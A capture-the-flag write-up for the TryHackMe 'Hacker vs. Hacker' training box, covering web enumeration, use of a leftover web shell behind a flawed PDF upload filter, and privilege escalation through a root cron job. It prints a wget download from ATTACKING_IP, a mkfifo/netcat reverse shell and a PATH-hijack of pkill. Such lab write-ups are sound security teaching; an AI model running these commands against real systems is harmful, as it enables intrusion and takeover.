TryHackMe Hacker vs. Hacker Write-up

This write-up will help you solve the Hacker vs. Hacker box on TryHackMe. You will find a box that someone hacked before. This box aims to get access to the box and get rid of the hacker. Before we start enumerating the box, run the following command to add the host to your /etc/hosts file.

echo "<box_ip>   hackervshacker.thm" >> /etc/hosts

TryHackMe Hacker vs. Hacker – Enumeration

As usual, we start by running a port scan on the host using nmap. The sC and sV flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.

sudo nmap -sV -sC -p- hackervshacker.thm

You can see the output of this scan below:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: DD1493059959BA895A46C026C39C36EF
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: RecruitSec: Industry Leading Infosec Recruitment
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As you can see, there are 2 open ports. Port 80 serves as an Apache web server. Port 22 serves as an SSH server. Finding vulnerabilities will be easier for the web server so let’s start by enumerating this service first.

Web Enumeration

Let’s browse http://hackervshacker.thm/ to find the following web page:

TryHackMe Hacker vs Hacker RecruitSec Industry Leading Infosec Recruitment

The page itself does not reveal much. It seems like a website promoting a security consultancy. However, if we dive into the raw HTML, we can find the following comment hidden in the code:

<!-- im no security expert - thats what we have a stable of nerds for - but isn't /cvs on the public website a privacy risk? -->

This comment refers to the following link http://hackervshacker.thm/cvs. On this page, you can find the following text:

Directory listing disabled

As you can see in the screenshot below, there is an option to upload your CV at the bottom of the homepage:

TryHackMe Hacker vs. Hacker - CV Upload

Let’s first start by uploading a random PDF file. Create an empty PDF file by running:

touch test.pdf

Let’s upload this file to the server using the form above. If all went correctly, you should now be able to see the following text in your browser:

Hacked! If you dont want me to upload my shell, do better at filtering!

However, this is not all there is. Inspecting the HTML code on this page reveals the following script:

<!-- seriously, dumb stuff:

$target_dir = "cvs/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);

if (!strpos($target_file, ".pdf")) {
  echo "Only PDF CVs are accepted.";
} else if (file_exists($target_file)) {
  echo "This CV has already been uploaded!";
} else if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
  echo "Success! We will get back to you.";
} else {
  echo "Something went wrong :|";
}

-->

Since the previous hacker already hacked the server, let’s try to find the shell uploaded by the hacker. Maybe he left a web shell behind. The most obvious shell name here would be shell.php.pdf. The server accepts a PHP file with this name since it fits within the filtering above. Browse to http://hackervshacker.thm/cvs/shell.pdf.php. To find the following text.

boom!

It seems like we found our shell! In case you did not think of checking shell.pdf.php, you could also have used ffuf. Ffuf is a fuzzing tool used to fuzz all types of stuff. We will use ffuf to fuzz for the filename here. Run the following command to fuzz the filename:

ffuf -u http://hackervshacker.thm/cvs/FUZZ.pdf.php -w /usr/share/wordlists/Discovery/Web-Content/common.txt

The outcome can be seen below:

.hta                    [Status: 403, Size: 283, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 283, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 283, Words: 20, Lines: 10]
shell                   [Status: 200, Size: 18, Words: 1, Lines: 2]

Here you can see we find the shell.php.pdf file. Next, we should find the parameter used to interact with this web shell. The most common command to check whether this shell is working is id. So now, we will use ffuf to fuzz the parameter. Use the -fw 1 option here to filter the number of words the response should contain at least. The command should be as follows:

ffuf -u http://hackervshacker.thm/cvs/shell.pdf.php?FUZZ=id -w /usr/share/wordlists/Discovery/Web-Content/common.txt -fw 1

The outcome can be seen below:

cmd                     [Status: 200, Size: 72, Words: 3, Lines: 3]

TryHackMe Hacker vs. Hacker – User flag

Now that we have found a way into the server. Let’s test the web shell by browsing http://hackervshacker.thm/cvs/shell.pdf.php?cmd=id gives the following output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We can abuse our shell to our will now. Let’s now improve our shell by uploading our web shell. Grab your shell here and tweak the attacking IP and port. In our case, we use port number 9001.

Now we have to start a web server on our local machine to download the improved shell on the box. Start a web server in the directory where you shaved your shell.php file by running:

python3 -m http.server

You also have to start a listening nc server to catch the reverse shell on your local machine. Do so by running:

nc -lvnp 9001 

Now browse to http://hackervshacker.thm/cvs/shell.pdf.php?cmd=wget http://ATTACKING_IP:9001/shell.php. In your local web shell, you should now see that the box downloaded the web shell. You can now start the reverse shell by browsing http://hackervshacker.thm/cvs/shell.php. If all goes well, you should be able to see the following on your netcat listener:

Linux b2r 5.4.0-109-generic #123-Ubuntu SMP Fri Apr 8 09:10:54 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 12:57:27 up 59 min,  0 users,  load average: 0.00, 0.00, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

You can find the user.txt flag at /home/lachlan/user.txt. Retrieve it by running:

/home/lachlan/user.txt

TryHackMe Hacker vs. Hacker – Root flag

Now that we have access to the server, let’s elevate privileges to obtain the root.txt flag. First of all, run the following command to have a slightly better shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

It seems like we can improve our shell, however after a minute we see the message:

nope

and are back to our first shell. We try to find another way to get a root shell without having the best shell functionalities. Within the /home/lachlan directory, we can find a readable .bash_history file. Its contents can be seen below:

./cve.sh
./cve-patch.sh
vi /etc/cron.d/persistence
echo -e REDACTED | passwd
ls -sf /dev/null /home/lachlan/.bash_history

This file contains the password of the lachlan user! Since we are logging out when using a simple shell, we elevate to the lachlan user in our already running simple shell. Do so by running:

su lachlan

Provide the password, which now shows as plaintext, and you elevate to the lachlan user. Since there is some sort of cron job running every minute, let’s explore the /etc/cron.d directory to find out if we can abuse this script to elevate privileges. Within this directory, we can find the persistence file. You can read the contents of this below:

# * * * * * root backup.sh
* * * * * root /bin/sleep 1  && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done

First of all, the root user runs all these commands. Second, most of these commands start from either the /bin/ directory or the /usr/bin/ directory. However, there is no absolute path for the pkill command. Since the PATH variable of the lachlan user is:

/home/lachlan/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

we can create our pkill within the /home/lachlan/bin directory to gain precedence over the default pkill command. We will start a reverse shell using this command. Create a file: /home/lachlan/bin/pkill command with the following contents:

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKING_IP 9002 >/tmp/f

Open a new terminal on your attacking machine and run the following command to start a new listening shell.

nc -lvnp 9002

Wait a minute for you shell to pop up in your terminal. If went correctly you should now see:

/bin/sh: 0: can't access tty; job control turned off
# 

You can find the root.txt flag at /root/root.txt.

TryHackMe Hacker vs. Hacker – Stay logged in

Now that we have complete access to the server. Let’s stay logged in. Staying logged in is done relatively easily. Run the following command to remove the trap installed by the previous hacker.

rm /etc/cron.d/persistence

Now improve your shell by running:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL+Z
stty raw -echo;fg
ENTER
ENTER

Note: The capitalized words are keyboard combinations.

Wait a minute, and you see that you will not log out. The next step would be to improve the security of the web application and change the passwords of the lachlan user.

This box was fun to root! Someone already hacked the box, and we needed to get back access to the server. Since the previous hacker left a web shell behind earlier, it gave us access to the server as well. The most important takeaway here is that you should be sure to implement proper validation when you add a file uploader to your site.

Leave a Reply

Your email address will not be published. Required fields are marked *